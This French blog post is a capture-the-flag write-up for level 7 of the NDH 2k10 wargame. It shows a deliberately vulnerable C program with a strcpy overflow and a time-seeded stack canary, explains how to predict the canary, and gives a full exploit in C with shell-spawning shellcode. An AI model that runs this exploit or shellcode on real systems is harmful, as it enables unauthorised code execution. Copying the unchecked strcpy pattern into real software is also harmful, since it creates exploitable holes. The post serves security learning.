raisep0wn

Geek Stuff & IT Security

NDH 2k10 Public WarGame level7

leave a comment »


Code source de l’épreuve :

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// gcc -o level7 level7.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

unsigned int secret;

int vuln(char *arg) {
	unsigned int cookie = secret;
	char tmp[64] = {'\0'};

	strcpy(tmp, arg);
	if(cookie!=secret) {
		printf("It's not my cookie :(\n");
		exit(0);
	}

	return 1337;
}

int main(int argc, char *argv[])
{
	if(argc != 2) {
		printf("%s <P0wn Me!> \n", argv[0]);
		exit(0);
	}

	srand(time(NULL));
	secret = rand();

	printf("GooD Boy 🙂 %08X\n", secret);

	vuln(argv[1]);
	return 0;
}

Voilà donc ce que l’on pourrait qualifier de stack-canary. Quid ? Il s’agit en fait d’une variable que l’on va placer sur la pile pour empêcher les buffers overflow. En cas de débordement, la variable est écrasée, et le programme peut le détecter. Le challenge consiste à provoquer un buffer overflow tout en insérant le cookie à la bonne place pour pouvoir exécuter notre shellcode en passant outre cette maigre sécurité. Le cookie est calculé avec la fonction rand qui prend comme seed le temps système. De ce fait, la valeur peuso-aléatoire générée varie toutes les secondes, mais reste donc stable durant une seconde. Nous pouvons très bien calculer cette valeur aléatoire, et si nous arrivons à lancer le programme dans la même seconde, (c’est long une seoncde), alors nous pouvons prédire le cookie, et exploiter cette faille. Ensuite, en lisant le code assembleur fourni par gdb, nous nous apercevons que le cookie est empilé juste avant le buffer et se situe donc en tmp[65;68]. SEIP, lui, se trouve en tmp[81;84]. Nous avons toutes les informations necessaires à l’exploitation. Petite remarque, nous cacherons notre shellcode dans une variable d’environnement, mais nous n’utiliserons pas getenv pour en calculer l’adresse. En effet, en utilisant la fonction C execve() nous pouvons contrôler les variables d’environnements passées au programme. Nous savons que le tableau de variable se termine à l’adresse 0xbffffffc et que ce tableau contiendra notre shellcode, ainsi que le program-path. Nous pouvons donc déterminer l’adresse de notre shellcode à l’avance en calculant 0xbffffffc – len(program_path)-1 – len(shellcode)-1. Écrivons l’exploit…

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

//Target program
char target_path[] = "/home/level7/level7";
char target_name[] = "level7";
//Shellcode to spawn a shell
char *shellcode[] = {"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh", (char *)0};

int main(int argc, char *argv[])
{
 char arg[85];		//Argument like {<prog> "<garbage[64]><canary[4]><garbage[12]><eip[4]>"}
 char canary[5];	//Canary in little-endian string
 char eip[5];		//Eip in little-endian string

 //Getting shellcode address in environment variable array *shellcode[]
 unsigned int shaddr = 0xbffffffc - (strlen(target_path)+1 + strlen(shellcode[0])+1);

 //Generate the random value based on system time
 srand(time(NULL));
 unsigned int r = random();

 //Convert canary and @shellcode into little-endian
 snprintf(canary, 5, "%c%c%c%c", (char)r&0x000000FF, (char)(r >> 8)&0x000000FF, (char)(r >> 16)&0x000000FF, (char)(r >> 24)&0x000000FF);
 snprintf(eip, 5, "%c%c%c%c", (char)shaddr&0x000000FF, (char)(shaddr >> 8)&0x000000FF, (char)(shaddr >> 16)&0x000000FF, (char)(shaddr >> 24)&0x000000FF);
 //Concat arg string
 snprintf(arg, 85, "----------------------------------------------------------------%s------------%s", canary, eip);

 //Debug info
 printf("Arg = %s\n", arg);
 printf("Canary = 0x%08X <-> %s\n", r, canary);
 printf("@sh = 0x%08x <-> eip = %s\n\n", shaddr, eip);

 //Exploit
 if(!execle(target_path, target_name, arg, (char *)0, shellcode))
 {
  perror("Unable to execute the target.\n");
  exit(1);
 }
 return 0;
}
Publicités

Written by Ralph

28/05/2011 à 08:03

Publié dans IT Security

Tagged with , , ,

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

%d blogueurs aiment cette page :